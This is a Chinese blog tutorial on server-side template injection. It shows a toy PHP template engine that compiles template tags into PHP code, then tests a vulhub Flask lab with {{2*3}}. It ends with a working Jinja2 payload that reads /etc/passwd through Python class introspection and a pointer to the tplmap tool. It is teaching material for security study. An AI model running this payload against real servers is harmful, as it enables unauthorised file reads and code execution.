天天看點

tpl.func.php,SSTI(模闆注入) - osc_vylqfbau的個人空間 - OSCHINA - 中文開源技術交流社群...

SSTI簡介

何為模闆引擎(SST)

百度百科:模闆引擎(這裡特指用于Web開發的模闆引擎)是為了使使用者界面與業務資料(内容)分離而産生的,它可以生成特定格式的文檔,用于網站的模闆引擎就會生成一個标準的HTML文檔。

個人了解就是:一個html頁面中沒有實際内容,但是有變量,通路這個頁面時需要将這個變量轉換成預期的内容,這時候就需要用到模闆引擎。php(或者其他腳本語言)代碼通過通路模闆引擎,模闆引擎通過正則比對産生一個新的緩存的html頁面,進而實作php和html代碼的分離。

從網上找了個小例子幫助我們更好的了解SST的作用,大波code來襲:

tpl.func.php

function display($tplFile, $tplVars = null)

{$tplFilePath = rtrim(TPL_PATH,'/') . '/' . $tplFile;if (!file_exists($tplFilePath)) {exit('模版檔案不存在');

}$html = compile($tplFilePath);$cacheFileName = parsePath($tplFile);if (!check_cache_dir(TPL_CACHE)) {exit('緩存目錄不可寫');

}if (!file_put_contents($cacheFileName, $html)) {exit('緩存檔案寫入失敗');

}if (is_array($tplVars)) {extract($tplVars);include $cacheFileName;

}

}function check_cache_dir($path)

{if(!file_exists($path) || !is_dir($path)) {return mkdir($path,0755,true);

}if(!is_writeable($path) || !is_readable($path)) {return chmod($path,0755);

}return true;

}function parsePath($tplFile)

{$path = rtrim(TPL_CACHE,'/').'/'.str_replace('.','_',$tplFile).'.php';return $path;

}function compile($path)

{$keys =['{if %%}' => '<?php if(\1): ?>',

'{else}' => '<?php else : ?>',

'{else if %%}' => '<?php elseif(\1) : ?>',

'{elseif %%}' => '<?php elseif(\1) : ?>',

'{/if}' => '<?php endif;?>',

'{$%%}' => '=$\1;?>',

'{foreach %%} ' => '<?php foreach(\1) :?>',

'{/foreach}' => '<?php endforeach;?>',

'{for %%}' => '<?php for(\1):?>',

'{/for}' => '<?php endfor;?>',

'{while %%}' => '<?php while(\1):?>',

'{/while}' => '<?php endwhile;?>',

'{continue}' => '<?php continue;?>',

'{break}' => '<?php break;?>',

'{$%% = $%%}' => '<?php $\1 = $\2;?>',

'{$%%++}' => '<?php $\1++;?>',

'{$%%--}' => '<?php $\1--;?>',

'{comment}' => '<?php ?>',

'{}' => '*?>',

'{section}' => '<?php ',

'{/section}' => '?>',

'{include %%}' => '<?php include \1;?>',];$file = file_get_contents($path);foreach ($keys as $key => $val) {$pattern = '#'. str_replace('%%', '(.+)', preg_quote($key,'#')) .'#imsU';$replace = $val;if (stripos($pattern,'include')) {$file = preg_replace_callback($pattern, 'parseInclude', $file);

}else{$file = preg_replace($pattern, $replace, $file);

}

}return $file;

}function parseInclude($data)

{$path = str_replace(array('\'','"'),'',$data[1]);//data[1]就是-------footer.html

$cacheFileName = parsePath($path);

display($path);return '<?php include "'.$cacheFileName.'";?>';

}

config.php

display('moban.html',compact('title','content','footercontent'));

moban.html

{$title}

tpl.func.php,SSTI(模闆注入) - osc_vylqfbau的個人空間 - OSCHINA - 中文開源技術交流社群...

為什麼要模闆引擎

如果在一個頁面中php代碼與html代碼混合在一起,在很多時候都會造成不便,用模闆引擎可以讓php代碼和html代碼進行分離。

為什麼SST是危險的?

還是道哥的那句話,安全的本質是信任。SST信任了使用者的輸入,并且執行這些内容,包括執行本機函數。就像eval函數對傳入的内容未加任何過濾一樣。是以模闆注入(SSTI)很容易導緻遠端代碼執行(RCE)、資訊洩露等漏洞。

執行個體示範

本來準備找CTF題的,但是一直沒找到,如果有師傅找到源碼,望分享!

這裡就用vuhub的ssti測試一下

通路頁面是hello guest

tpl.func.php,SSTI(模闆注入) - osc_vylqfbau的個人空間 - OSCHINA - 中文開源技術交流社群...

因為看過app.py的源碼,是以直接在後面加參數?name=123,顯示hello 123

tpl.func.php,SSTI(模闆注入) - osc_vylqfbau的個人空間 - OSCHINA - 中文開源技術交流社群...

說明這裡的name我們是被信任的(當它什麼都沒過濾),猜測存在ssti。

接着再輸入一個表達式{{2*3}}

tpl.func.php,SSTI(模闆注入) - osc_vylqfbau的個人空間 - OSCHINA - 中文開源技術交流社群...

顯示hello 6,驗證了存在ssti。

payload

python3 :讀取檔案

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}

tpl.func.php,SSTI(模闆注入) - osc_vylqfbau的個人空間 - OSCHINA - 中文開源技術交流社群...

也可以用工具tplmap,挺好用

https://github.com/epinna/tplmap

如何防禦SSTI?

1.盡可能加載靜态模闆檔案。

2.不要允許使用者控制此類檔案或其内容的路徑。

參考

https://xi4or0uji.github.io/2019/01/17/2019-1-15-flask%E4%B9%8Bssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/

https://blog.csdn.net/qq_40657585/article/details/83657220